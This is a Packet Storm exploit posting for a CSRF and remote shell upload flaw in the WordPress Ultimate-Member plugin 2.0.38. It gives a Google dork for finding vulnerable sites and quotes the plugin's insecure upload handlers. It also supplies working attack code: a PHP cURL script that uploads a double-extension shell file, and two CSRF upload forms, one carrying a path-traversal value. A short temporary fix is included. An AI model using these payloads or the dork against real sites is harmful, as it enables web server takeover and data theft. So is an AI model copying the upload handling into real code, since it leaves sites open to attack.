exploit the possibilities

WordPress Ultimate-Member 2.0.38 Cross Site Request Forgery / Shell Upload

WordPress Ultimate-Member 2.0.38 Cross Site Request Forgery / Shell Upload
Posted Feb 5, 2019
Authored by KingSkrupellos

WordPress Ultimate-Member plugin version 2.0.38 suffers from cross site request forgery and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, csrf
MD5 | f61b91a24dc98849236a6c36c3e9540e

WordPress Ultimate-Member 2.0.38 Cross Site Request Forgery / Shell Upload

Change Mirror Download
####################################################################

# Exploit Title : WordPress Ultimate-Member Plugins 2.0.38 CSRF Shell Upload
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 05/02/2019
# Vendor Homepage : ultimatemember.com
# Software Download Link : downloads.wordpress.org/plugin/ultimate-member.2.0.38.zip
# Software Information Links : wordpress.org/plugins/ultimate-member/
# Software Vulnerable Source Codes :
github.com/wp-plugins/ultimate-member/blob/master/core/lib/upload/um-file-upload.php
github.com/wp-plugins/ultimate-member/blob/master/core/lib/upload/um-image-upload.php
# Software Version : 1.3.21 and 2.0.38 - other previous versions.
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/ultimate-member/''
# Vulnerability Type : CWE-434 [ Unrestricted Upload of File with Dangerous Type ]
CWE-264 [ Permissions, Privileges, and Access Controls ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

####################################################################

# Description about Software :
***************************
Ultimate Member is the #1 user profile & membership plugin for WordPress.

The plugin makes it a breeze for users to sign-up and become members of your website.

The plugin allows you to add beautiful user profiles to your site and is perfect

for creating advanced online communities and membership sites.

Lightweight and highly extendible, Ultimate Member will enable you to create almost

any type of site where users can join and become members with absolute ease.

####################################################################

# Impact :
***********

* The software allows the attacker to upload or transfer files of dangerous types

that can be automatically processed within the product's environment.

* This software WordPress Ultimate-Member Plugins is prone to a vulnerability

that lets attackers upload arbitrary files and shell because it fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute

it in the context of the webserver process.

This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Attackers can exploit this issue through a browser.

System Compromise - Remote attackers can gain control of vulnerable systems.

####################################################################

# Remote File Upload/Shell Upload Exploit :
***************************************
/wp-content/plugins/ultimate-member/core/lib/upload/um-image-upload.php

# Directory File Path :
*******************

/wp-content/uploads/ultimatemember/temp/.....

/wp-content/uploads/.....

####################################################################

# Vulnerability Error :
*******************
{"error":"A theme or plugin compatibility issue"}

# Vulnerable Source Code => [ um-image-upload.php ]
************************
<?php
$i = 0;
$dirname = dirname( __FILE__ );
do {
$dirname = dirname( $dirname );
$wp_load = "{$dirname}/wp-load.php";
}
while( ++$i < 10 && !file_exists( $wp_load ) );
require_once( $wp_load );
global $ultimatemember;
$id = $_POST['key'];
$ultimatemember->fields->set_id = $_POST['set_id'];
$ultimatemember->fields->set_mode = $_POST['set_mode'];
$ret['error'] = null;
$ret = array();
if(isset($_FILES[$id]['name'])) {
if(!is_array($_FILES[$id]['name'])) {

$temp = $_FILES[$id]["tmp_name"];
$file = $_FILES[$id]["name"];
$file = sanitize_file_name($file);

$error = $ultimatemember->files->check_image_upload( $temp, $id );
if ( $error ){

$ret['error'] = $error;

} else {

$ret[] = $ultimatemember->files->new_image_upload_temp( $temp, $file, um_get_option('image_compression') );

}
}

} else {
$ret['error'] = __('A theme or plugin compatibility issue','ultimatemember');
}
echo json_encode($ret);

####################################################################

# Vulnerable Source Code => [ um-file-upload.php ]
***************************

<?php
$i = 0;
$dirname = dirname( __FILE__ );
do {
$dirname = dirname( $dirname );
$wp_load = "{$dirname}/wp-load.php";
}
while( ++$i < 10 && !file_exists( $wp_load ) );
require_once( $wp_load );
global $ultimatemember;
$id = $_POST['key'];
$ultimatemember->fields->set_id = $_POST['set_id'];
$ultimatemember->fields->set_mode = $_POST['set_mode'];
$ret['error'] = null;
$ret = array();
if(isset($_FILES[$id]['name'])) {
if(!is_array($_FILES[$id]['name'])) {

$temp = $_FILES[$id]["tmp_name"];
$file = $_FILES[$id]["name"];
$file = sanitize_file_name($file);
$extension = pathinfo($file, PATHINFO_EXTENSION);

$error = $ultimatemember->files->check_file_upload( $temp, $extension, $id );
if ( $error ){
$ret['error'] = $error;
} else {
$ret[] = $ultimatemember->files->new_file_upload_temp( $temp, $file );
$ret['icon'] = $ultimatemember->files->get_fonticon_by_ext( $extension );
$ret['icon_bg'] = $ultimatemember->files->get_fonticon_bg_by_ext( $extension );
$ret['filename'] = $file;
}
}

} else {
$ret['error'] = __('A theme or plugin compatibility issue','ultimatemember');
}
echo json_encode($ret);

####################################################################

# Solution :
******************

Temporary solution to this is to disable the image upload functionality,

which can be done by adding the following lines

$ret['error'] = __('Functionality disabled');
exit(json_encode($ret));

directly below the line

function ajax_image_upload() {

in the file /includes/core/class-files.php

####################################################################

# PHP Exploiter =>
********************

<?php

$uploadfile="shell.gif;.php";

$ch = curl_init("http://VULNERABLESITEHERE.gov/wp-content/plugins/ultimate-member/core/lib/upload/um-image-upload.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile",'folder'=>'/wp-content/uploads/ultimatemember/temp/'));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

?>

####################################################################

# CSRF Cross Site Request Forgery Exploiter 1 :
******************************************

<form enctype="multipart/form-data"
action="http://VULNERABLESITEHERE.gov/wp-content/plugins/ultimate-member/core/lib/upload/um-image-upload.php" method="post">
Your File: <input name="uploadfile" type="file" /><br />
<input type="hidden" name="dir_icons" value="../../../../">
<input type="submit" value="upload" />
</form>

####################################################################

# CSRF Cross Site Request Forgery Exploiter 2 :
******************************************

<html>
<body>
<form enctype="multipart/form-data" action="VULNERABLESITEHERE.gov/wp-content/plugins/ultimate-member/core/lib/upload/um-file-upload.php" method="post">
Your File: <input name="files[]" type="file" /><br />
<input type="submit" value="Successfull!" />
</form>
</body>
</html>

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

####################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    17 Files
  • 23
    Mar 23rd
    1 Files
  • 24
    Mar 24th
    1 Files
  • 25
    Mar 25th
    16 Files
  • 26
    Mar 26th
    21 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close